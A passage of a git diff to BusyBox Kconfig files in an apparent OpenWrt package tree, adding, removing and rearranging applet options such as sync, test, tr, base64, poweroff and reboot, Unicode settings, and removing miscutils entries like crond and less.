 	default BUSYBOX_DEFAULT_STTY
 	help
 	  stty is used to change and print terminal line settings.
-
 config BUSYBOX_CONFIG_SUM
 	bool "sum"
 	default BUSYBOX_DEFAULT_SUM
 	help
 	  checksum and count the blocks in a file
-
+config BUSYBOX_CONFIG_SYNC
+	bool "sync"
+	default BUSYBOX_DEFAULT_SYNC
+	help
+	  sync is used to flush filesystem buffers.
+config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
+	bool "Enable -d and -f flags (requires syncfs(2) in libc)"
+	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
+	depends on BUSYBOX_CONFIG_SYNC
+	help
+	  sync -d FILE... executes fdatasync() on each FILE.
+	  sync -f FILE... executes syncfs() on each FILE.
 config BUSYBOX_CONFIG_TAC
 	bool "tac"
 	default BUSYBOX_DEFAULT_TAC
 	help
 	  tac is used to concatenate and print files in reverse.
-
 config BUSYBOX_CONFIG_TAIL
 	bool "tail"
 	default BUSYBOX_DEFAULT_TAIL
@@ -820,7 +703,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_TAIL
 	    -s SEC  Wait SEC seconds between reads with -f
 	    -v      Always output headers giving file names
 	    -F      Same as -f, but keep retrying
-
 config BUSYBOX_CONFIG_TEE
 	bool "tee"
 	default BUSYBOX_DEFAULT_TEE
@@ -834,20 +716,95 @@ config BUSYBOX_CONFIG_FEATURE_TEE_USE_BLOCK_IO
 	depends on BUSYBOX_CONFIG_TEE
 	help
 	  Enable this option for a faster tee, at expense of size.
+config BUSYBOX_CONFIG_TEST
+	bool "test"
+	default BUSYBOX_DEFAULT_TEST
+	help
+	  test is used to check file types and compare values,
+	  returning an appropriate exit code. The bash shell
+	  has test built in, ash can build it in optionally.
+
+config BUSYBOX_CONFIG_TEST1
+	bool "test as ["
+	default BUSYBOX_DEFAULT_TEST1
+	help
+	  Provide test command in the "[ EXPR ]" form
+
+config BUSYBOX_CONFIG_TEST2
+	bool "test as [["
+	default BUSYBOX_DEFAULT_TEST2
+	help
+	  Provide test command in the "[[ EXPR ]]" form
+
+config BUSYBOX_CONFIG_FEATURE_TEST_64
+	bool "Extend test to 64 bit"
+	default BUSYBOX_DEFAULT_FEATURE_TEST_64
+	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_TEST1 || BUSYBOX_CONFIG_TEST2 || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
+	help
+	  Enable 64-bit support in test.
+config BUSYBOX_CONFIG_TOUCH
+	bool "touch"
+	default BUSYBOX_DEFAULT_TOUCH
+	help
+	  touch is used to create or change the access and/or
+	  modification timestamp of specified files.
+
+config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
+	bool "Add support for -h"
+	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
+	depends on BUSYBOX_CONFIG_TOUCH
+	help
+	  Enable touch to have the -h option.
+	  This requires libc support for lutimes() function.
+
+config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
+	bool "Add support for SUSV3 features (-d -t -r)"
+	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
+	depends on BUSYBOX_CONFIG_TOUCH
+	help
+	  Enable touch to use a reference file or a given date/time argument.
+config BUSYBOX_CONFIG_TR
+	bool "tr"
+	default BUSYBOX_DEFAULT_TR
+	help
+	  tr is used to squeeze, and/or delete characters from standard
+	  input, writing to standard output.
 
+config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
+	bool "Enable character classes (such as [:upper:])"
+	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
+	depends on BUSYBOX_CONFIG_TR
+	help
+	  Enable character classes, enabling commands such as:
+	  tr [:upper:] [:lower:] to convert input into lowercase.
+
+config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
+	bool "Enable equivalence classes"
+	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
+	depends on BUSYBOX_CONFIG_TR
+	help
+	  Enable equivalence classes, which essentially add the enclosed
+	  character to the current set. For instance, tr [=a=] xyz would
+	  replace all instances of 'a' with 'xyz'. This option is mainly
+	  useful for cases when no other way of expressing a character
+	  is possible.
 config BUSYBOX_CONFIG_TRUE
 	bool "true"
 	default BUSYBOX_DEFAULT_TRUE
 	help
 	  true returns an exit code of TRUE (0).
-
+config BUSYBOX_CONFIG_TRUNCATE
+	bool "truncate"
+	default BUSYBOX_DEFAULT_TRUNCATE
+	help
+	  truncate truncates files to a given size. If a file does
+	  not exist, it is created unless told otherwise.
 config BUSYBOX_CONFIG_TTY
 	bool "tty"
 	default BUSYBOX_DEFAULT_TTY
 	help
 	  tty is used to print the name of the current terminal to
 	  standard output.
-
 config BUSYBOX_CONFIG_UNAME
 	bool "uname"
 	default BUSYBOX_DEFAULT_UNAME
@@ -861,44 +818,36 @@ config BUSYBOX_CONFIG_UNAME_OSNAME
 	help
 	  Sets the operating system name reported by uname -o.  The
 	  default BUSYBOX_DEFAULT_UNAME_OSNAME "GNU/Linux".
-
-config BUSYBOX_CONFIG_UNEXPAND
-	bool "unexpand"
-	default BUSYBOX_DEFAULT_UNEXPAND
-	help
-	  By default, convert only leading sequences of blanks to tabs.
-
-config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Support long options for the unexpand applet.
-
 config BUSYBOX_CONFIG_UNIQ
 	bool "uniq"
 	default BUSYBOX_DEFAULT_UNIQ
 	help
 	  uniq is used to remove duplicate lines from a sorted file.
-
+config BUSYBOX_CONFIG_UNLINK
+	bool "unlink"
+	default BUSYBOX_DEFAULT_UNLINK
+	help
+	  unlink deletes a file by calling unlink()
 config BUSYBOX_CONFIG_USLEEP
 	bool "usleep"
 	default BUSYBOX_DEFAULT_USLEEP
 	help
 	  usleep is used to pause for a specified number of microseconds.
-
 config BUSYBOX_CONFIG_UUDECODE
 	bool "uudecode"
 	default BUSYBOX_DEFAULT_UUDECODE
 	help
 	  uudecode is used to decode a uuencoded file.
-
+config BUSYBOX_CONFIG_BASE64
+	bool "base64"
+	default BUSYBOX_DEFAULT_BASE64
+	help
+	  Base64 encode and decode
 config BUSYBOX_CONFIG_UUENCODE
 	bool "uuencode"
 	default BUSYBOX_DEFAULT_UUENCODE
 	help
 	  uuencode is used to uuencode a file.
-
 config BUSYBOX_CONFIG_WC
 	bool "wc"
 	default BUSYBOX_DEFAULT_WC
@@ -912,14 +861,25 @@ config BUSYBOX_CONFIG_FEATURE_WC_LARGE
 	depends on BUSYBOX_CONFIG_WC
 	help
 	  Use "unsigned long long" in wc for counter variables.
+config BUSYBOX_CONFIG_WHO
+      bool "who"
+      default BUSYBOX_DEFAULT_WHO
+      depends on BUSYBOX_CONFIG_FEATURE_UTMP
+      help
+        who is used to show who is logged on.
 
+config BUSYBOX_CONFIG_USERS
+      bool "users"
+      default BUSYBOX_DEFAULT_USERS
+      depends on BUSYBOX_CONFIG_FEATURE_UTMP
+      help
+        Print users currently logged on.
 config BUSYBOX_CONFIG_WHOAMI
 	bool "whoami"
 	default BUSYBOX_DEFAULT_WHOAMI
 	help
 	  whoami is used to print the username of the current
 	  user id (same as id -un).
-
 config BUSYBOX_CONFIG_YES
 	bool "yes"
 	default BUSYBOX_DEFAULT_YES
@@ -971,17 +931,4 @@ config BUSYBOX_CONFIG_FEATURE_HUMAN_READABLE
 	help
 	  Allow df, du, and ls to have human readable output.
 
-comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
-	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
-
-config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
-	bool "Enable -c, -s and -w options"
-	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
-	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
-	help
-	  Enabling the -c options allows files to be checked
-	  against pre-calculated hash values.
-
-	  -s and -w are useful options when verifying checksums.
-
 endmenu
diff --git a/package/utils/busybox/config/findutils/Config.in b/package/utils/busybox/config/findutils/Config.in
index 85ee1db..7d636d1 100644
--- a/package/utils/busybox/config/findutils/Config.in
+++ b/package/utils/busybox/config/findutils/Config.in
@@ -194,28 +194,22 @@ config BUSYBOX_CONFIG_GREP
 	help
 	  grep is used to search files for a specified pattern.
 
-config BUSYBOX_CONFIG_FEATURE_GREP_EGREP_ALIAS
-	bool "Enable extended regular expressions (egrep & grep -E)"
-	default BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
-	depends on BUSYBOX_CONFIG_GREP
+config BUSYBOX_CONFIG_EGREP
+	bool "egrep"
+	default BUSYBOX_DEFAULT_EGREP
 	help
-	  Enabled support for extended regular expressions. Extended
-	  regular expressions allow for alternation (foo|bar), grouping,
-	  and various repetition operators.
+	  Alias to "grep -E"
 
-config BUSYBOX_CONFIG_FEATURE_GREP_FGREP_ALIAS
-	bool "Alias fgrep to grep -F"
-	default BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
-	depends on BUSYBOX_CONFIG_GREP
+config BUSYBOX_CONFIG_FGREP
+	bool "fgrep"
+	default BUSYBOX_DEFAULT_FGREP
 	help
-	  fgrep sees the search pattern as a normal string rather than
-	  regular expressions.
-	  grep -F always works, this just creates the fgrep alias.
+	  Alias to "grep -F"
 
 config BUSYBOX_CONFIG_FEATURE_GREP_CONTEXT
 	bool "Enable before and after context flags (-A, -B and -C)"
 	default BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
-	depends on BUSYBOX_CONFIG_GREP
+	depends on BUSYBOX_CONFIG_GREP || BUSYBOX_CONFIG_EGREP
 	help
 	  Print the specified number of leading (-B) and/or trailing (-A)
 	  context surrounding our matching lines.
diff --git a/package/utils/busybox/config/init/Config.in b/package/utils/busybox/config/init/Config.in
index 021656d..cd1a345 100644
--- a/package/utils/busybox/config/init/Config.in
+++ b/package/utils/busybox/config/init/Config.in
@@ -45,15 +45,27 @@ config BUSYBOX_CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE
 	  Enable reading and parsing of $PWD/bootchartd.conf
 	  and /etc/bootchartd.conf files.
 config BUSYBOX_CONFIG_HALT
-	bool "poweroff, halt, and reboot"
+	bool "halt"
 	default BUSYBOX_DEFAULT_HALT
 	help
-	  Stop all processes and either halt, reboot, or power off the system.
+	  Stop all processes and halt the system.
+
+config BUSYBOX_CONFIG_POWEROFF
+	bool "poweroff"
+	default BUSYBOX_DEFAULT_POWEROFF
+	help
+	  Stop all processes and power off the system.
+
+config BUSYBOX_CONFIG_REBOOT
+	bool "reboot"
+	default BUSYBOX_DEFAULT_REBOOT
+	help
+	  Stop all processes and reboot the system.
 
 config BUSYBOX_CONFIG_FEATURE_CALL_TELINIT
 	bool "Call telinit on shutdown and reboot"
 	default BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
-	depends on BUSYBOX_CONFIG_HALT && !BUSYBOX_CONFIG_INIT
+	depends on (BUSYBOX_CONFIG_HALT || BUSYBOX_CONFIG_POWEROFF || BUSYBOX_CONFIG_REBOOT) && !BUSYBOX_CONFIG_INIT
 	help
 	  Call an external program (normally telinit) to facilitate
 	  a switch to a proper runlevel.
@@ -143,7 +155,7 @@ config BUSYBOX_CONFIG_FEATURE_EXTRA_QUIET
 
 config BUSYBOX_CONFIG_FEATURE_INIT_COREDUMPS
 	bool "Support dumping core for child processes (debugging only)"
-	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS
+	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS	# not Y because this is a debug option
 	depends on BUSYBOX_CONFIG_INIT || BUSYBOX_CONFIG_LINUXRC
 	help
 	  If this option is enabled and the file /.init_enable_core
diff --git a/package/utils/busybox/config/libbb/Config.in b/package/utils/busybox/config/libbb/Config.in
index 0695f9b..ec08351 100644
--- a/package/utils/busybox/config/libbb/Config.in
+++ b/package/utils/busybox/config/libbb/Config.in
@@ -45,6 +45,30 @@ config BUSYBOX_CONFIG_FEATURE_RTMINMAX
 	  Support RTMIN[+n] and RTMAX[-n] signal names
 	  in kill, killall etc. This costs ~250 bytes.
 
+choice
+	prompt "Buffer allocation policy"
+	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
+	help
+	  There are 3 ways BusyBox can handle buffer allocations:
+	  - Use malloc. This costs code size for the call to xmalloc.
+	  - Put them on stack. For some very small machines with limited stack
+	    space, this can be deadly. For most folks, this works just fine.
+	  - Put them in BSS. This works beautifully for computers with a real
+	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
+	    behavior was the only one available for BusyBox versions 0.48 and
+	    earlier.
+
+config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
+	bool "Allocate with Malloc"
+
+config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
+	bool "Allocate on the Stack"
+
+config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
+	bool "Allocate in the .bss section"
+
+endchoice
+
 config BUSYBOX_CONFIG_PASSWORD_MINLEN
 	int "Minimum password length"
 	default BUSYBOX_DEFAULT_PASSWORD_MINLEN
@@ -191,6 +215,131 @@ config BUSYBOX_CONFIG_FEATURE_EDITING_ASK_TERMINAL
 	  correctly, or want to save on code size (about 400 bytes),
 	  then do not turn this option on.
 
+config BUSYBOX_CONFIG_LOCALE_SUPPORT
+	bool "Enable locale support (system needs locale for this to work)"
+	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
+	help
+	  Enable this if your system has locale support and you would like
+	  busybox to support locale settings.
+
+config BUSYBOX_CONFIG_UNICODE_SUPPORT
+	bool "Support Unicode"
+	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
+	help
+	  This makes various applets aware that one byte is not
+	  one character on screen.
+
+	  Busybox aims to eventually work correctly with Unicode displays.
+	  Any older encodings are not guaranteed to work.
+	  Probably by the time when busybox will be fully Unicode-clean,
+	  other encodings will be mainly of historic interest.
+
+config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
+	bool "Use libc routines for Unicode (else uses internal ones)"
+	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
+	help
+	  With this option on, Unicode support is implemented using libc
+	  routines. Otherwise, internal implementation is used.
+	  Internal implementation is smaller.
+
+config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
+	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
+	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
+	help
+	  With this option on, Unicode support is activated
+	  only if locale-related variables have the value of the form
+	  "xxxx.utf8"
+
+	  Otherwise, Unicode support will be always enabled and active.
+
+config BUSYBOX_CONFIG_SUBST_WCHAR
+	int "Character code to substitute unprintable characters with"
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	default BUSYBOX_DEFAULT_SUBST_WCHAR
+	help
+	  Typical values are 63 for '?' (works with any output device),
+	  30 for ASCII substitute control code,
+	  65533 (0xfffd) for Unicode replacement character.
+
+config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
+	int "Range of supported Unicode characters"
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
+	help
+	  Any character with Unicode value bigger than this is assumed
+	  to be non-printable on output device. Many applets replace
+	  such characters with substitution character.
+
+	  The idea is that many valid printable Unicode chars
+	  nevertheless are not displayed correctly. Think about
+	  combining charachers, double-wide hieroglyphs, obscure
+	  characters in dozens of ancient scripts...
+	  Many terminals, terminal emulators, xterms etc will fail
+	  to handle them correctly. Choose the smallest value
+	  which suits your needs.
+
+	  Typical values are:
+	  126 - ASCII only
+	  767 (0x2ff) - there are no combining chars in [0..767] range
+			(the range includes Latin 1, Latin Ext. A and B),
+			code is ~700 bytes smaller for this case.
+	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
+			code is ~300 bytes smaller for this case.
+	  12799 (0x31ff) - nearly all non-ideographic characters are
+			available in [0..12799] range, including
+			East Asian scripts like katakana, hiragana, hangul,
+			bopomofo...
+	  0 - off, any valid printable Unicode character will be printed.
+
+config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
+	bool "Allow zero-width Unicode characters on output"
+	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	help
+	  With this option off, any Unicode char with width of 0
+	  is substituted on output.
+
+config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
+	bool "Allow wide Unicode characters on output"
+	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	help
+	  With this option off, any Unicode char with width > 1
+	  is substituted on output.
+
+config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
+	bool "Bidirectional character-aware line input"
+	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
+	help
+	  With this option on, right-to-left Unicode characters
+	  are treated differently on input (e.g. cursor movement).
+
+config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
+	bool "In bidi input, support non-ASCII neutral chars too"
+	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
+	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
+	help
+	  In most cases it's enough to treat only ASCII non-letters
+	  (i.e. punctuation, numbers and space) as characters
+	  with neutral directionality.
+	  With this option on, more extensive (and bigger) table
+	  of neutral chars will be used.
+
+config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
+	bool "Make it possible to enter sequences of chars which are not Unicode"
+	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	help
+	  With this option on, on line-editing input (such as used by shells)
+	  invalid UTF-8 bytes are not substituted with the selected
+	  substitution character.
+	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
+	  at shell prompt will list file named 0xff (single char name
+	  with char value 255), not file named '?'.
+
 config BUSYBOX_CONFIG_FEATURE_NON_POSIX_CP
 	bool "Non-POSIX, but safer, copying to special nodes"
 	default BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
@@ -215,6 +364,19 @@ config BUSYBOX_CONFIG_FEATURE_VERBOSE_CP_MESSAGE
 	    cp: cannot stat '/vmlinuz/file': Not a directory
 	  This will cost you ~60 bytes.
 
+config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
+	bool "Use sendfile system call"
+	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  When enabled, busybox will use the kernel sendfile() function
+	  instead of read/write loops to copy data between file descriptors
+	  (for example, cp command does this a lot).
+	  If sendfile() doesn't work, copying code falls back to read/write
+	  loop. sendfile() was originally implemented for faster I/O
+	  from files to sockets, but since Linux 2.6.33 it was extended
+	  to work for many more file types.
+
 config BUSYBOX_CONFIG_FEATURE_COPYBUF_KB
 	int "Copy buffer size, in kilobytes"
 	range 1 1024
diff --git a/package/utils/busybox/config/mailutils/Config.in b/package/utils/busybox/config/mailutils/Config.in
index 64b9a2b..7e77407 100644
--- a/package/utils/busybox/config/mailutils/Config.in
+++ b/package/utils/busybox/config/mailutils/Config.in
@@ -1,20 +1,11 @@
 # DO NOT EDIT. This file is generated from Config.src
 menu "Mail Utilities"
 
-
 config BUSYBOX_CONFIG_MAKEMIME
 	bool "makemime"
 	default BUSYBOX_DEFAULT_MAKEMIME
 	help
 	  Create MIME-formatted messages.
-
-config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
-	string "Default charset"
-	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
-	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
-	help
-	  Default charset of the message.
-
 config BUSYBOX_CONFIG_POPMAILDIR
 	bool "popmaildir"
 	default BUSYBOX_DEFAULT_POPMAILDIR
@@ -31,7 +22,6 @@ config BUSYBOX_CONFIG_FEATURE_POPMAILDIR_DELIVERY
 	  of the message before actual delivery (-F "prog [args...]").
 	  Allow to use a custom program for message actual delivery
 	  (-M "prog [args...]").
-
 config BUSYBOX_CONFIG_REFORMIME
 	bool "reformime"
 	default BUSYBOX_DEFAULT_REFORMIME
@@ -45,11 +35,17 @@ config BUSYBOX_CONFIG_FEATURE_REFORMIME_COMPAT
 	help
 	  Accept (for compatibility only) and ignore options
 	  other than -x and -X.
-
 config BUSYBOX_CONFIG_SENDMAIL
 	bool "sendmail"
 	default BUSYBOX_DEFAULT_SENDMAIL
 	help
 	  Barebones sendmail.
 
+config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
+	string "Default charset"
+	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
+	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
+	help
+	  Default charset of the message.
+
 endmenu
diff --git a/package/utils/busybox/config/miscutils/Config.in b/package/utils/busybox/config/miscutils/Config.in
index 3465df4..817a514 100644
--- a/package/utils/busybox/config/miscutils/Config.in
+++ b/package/utils/busybox/config/miscutils/Config.in
@@ -6,259 +6,6 @@
 
 menu "Miscellaneous Utilities"
 
-config BUSYBOX_CONFIG_CONSPY
-	bool "conspy"
-	default BUSYBOX_DEFAULT_CONSPY
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  A text-mode VNC like program for Linux virtual terminals.
-	  example:  conspy NUM      shared access to console num
-	  or        conspy -nd NUM  screenshot of console num
-	  or        conspy -cs NUM  poor man's GNU screen like
-config BUSYBOX_CONFIG_CROND
-	bool "crond"
-	default BUSYBOX_DEFAULT_CROND
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  Crond is a background daemon that parses individual crontab
-	  files and executes commands on behalf of the users in question.
-	  This is a port of dcron from slackware. It uses files of the
-	  format /var/spool/cron/crontabs/<username> files, for example:
-	      $ cat /var/spool/cron/crontabs/root
-	      # Run daily cron jobs at 4:40 every day:
-	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
-
-config BUSYBOX_CONFIG_FEATURE_CROND_D
-	bool "Support option -d to redirect output to stderr"
-	depends on BUSYBOX_CONFIG_CROND
-	default BUSYBOX_DEFAULT_FEATURE_CROND_D
-	help
-	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
-
-config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
-	bool "Report command output via email (using sendmail)"
-	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
-	depends on BUSYBOX_CONFIG_CROND
-	help
-	  Command output will be sent to corresponding user via email.
-
-config BUSYBOX_CONFIG_FEATURE_CROND_DIR
-	string "crond spool directory"
-	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
-	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
-	help
-	  Location of crond spool.
-config BUSYBOX_CONFIG_I2CGET
-	bool "i2cget"
-	default BUSYBOX_DEFAULT_I2CGET
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Read from I2C/SMBus chip registers.
-
-config BUSYBOX_CONFIG_I2CSET
-	bool "i2cset"
-	default BUSYBOX_DEFAULT_I2CSET
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Set I2C registers.
-
-config BUSYBOX_CONFIG_I2CDUMP
-	bool "i2cdump"
-	default BUSYBOX_DEFAULT_I2CDUMP
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Examine I2C registers.
-
-config BUSYBOX_CONFIG_I2CDETECT
-	bool "i2cdetect"
-	default BUSYBOX_DEFAULT_I2CDETECT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Detect I2C chips.
-
-config BUSYBOX_CONFIG_LESS
-	bool "less"
-	default BUSYBOX_DEFAULT_LESS
-	help
-	  'less' is a pager, meaning that it displays text files. It possesses
-	  a wide array of features, and is an improvement over 'more'.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
-	int "Max number of input lines less will try to eat"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
-	depends on BUSYBOX_CONFIG_LESS
-
-config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
-	bool "Enable bracket searching"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  This option adds the capability to search for matching left and right
-	  brackets, facilitating programming.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
-	bool "Enable -m/-M"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  The -M/-m flag enables a more sophisticated status line.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
-	bool "Enable -S"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  The -S flag causes long lines to be truncated rather than
-	  wrapped.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
-	bool "Enable marks"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  Marks enable positions in a file to be stored for easy reference.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
-	bool "Enable regular expressions"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  Enable regular expressions, allowing complex file searches.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
-	bool "Enable automatic resizing on window size changes"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  Makes less track window size changes.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
-	bool "Use 'tell me cursor position' ESC sequence to measure window"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
-	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
-	help
-	  Makes less track window size changes.
-	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
-	  this option makes less perform a last-ditch effort to find it:
-	  position cursor to 999,999 and ask terminal to report real
-	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
-
-	  This is not clean but helps a lot on serial lines and such.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
-	bool "Enable flag changes ('-' command)"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  This enables the ability to change command-line flags within
-	  less itself ('-' keyboard command).
-
-config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
-	bool "Enable dynamic switching of line numbers"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
-	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
-	help
-	  Enables "-N" command.
-config BUSYBOX_CONFIG_NANDWRITE
-	bool "nandwrite"
-	default BUSYBOX_DEFAULT_NANDWRITE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Write to the specified MTD device, with bad blocks awareness
-
-config BUSYBOX_CONFIG_NANDDUMP
-	bool "nanddump"
-	default BUSYBOX_DEFAULT_NANDDUMP
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Dump the content of raw NAND chip
-config BUSYBOX_CONFIG_RFKILL
-	bool "rfkill"
-	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Enable/disable wireless devices.
-
-	  rfkill list : list all wireless devices
-	  rfkill list bluetooth : list all bluetooth devices
-	  rfkill list 1 : list device corresponding to the given index
-	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
-
-config BUSYBOX_CONFIG_SETSERIAL
-	bool "setserial"
-	default BUSYBOX_DEFAULT_SETSERIAL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Retrieve or set Linux serial port.
-config BUSYBOX_CONFIG_TASKSET
-	bool "taskset"
-	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
-	help
-	  Retrieve or set a processes's CPU affinity.
-	  This requires sched_{g,s}etaffinity support in your libc.
-
-config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
-	bool "Fancy output"
-	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
-	depends on BUSYBOX_CONFIG_TASKSET
-	help
-	  Add code for fancy output. This merely silences a compiler-warning
-	  and adds about 135 Bytes. May be needed for machines with alot
-	  of CPUs.
-config BUSYBOX_CONFIG_UBIATTACH
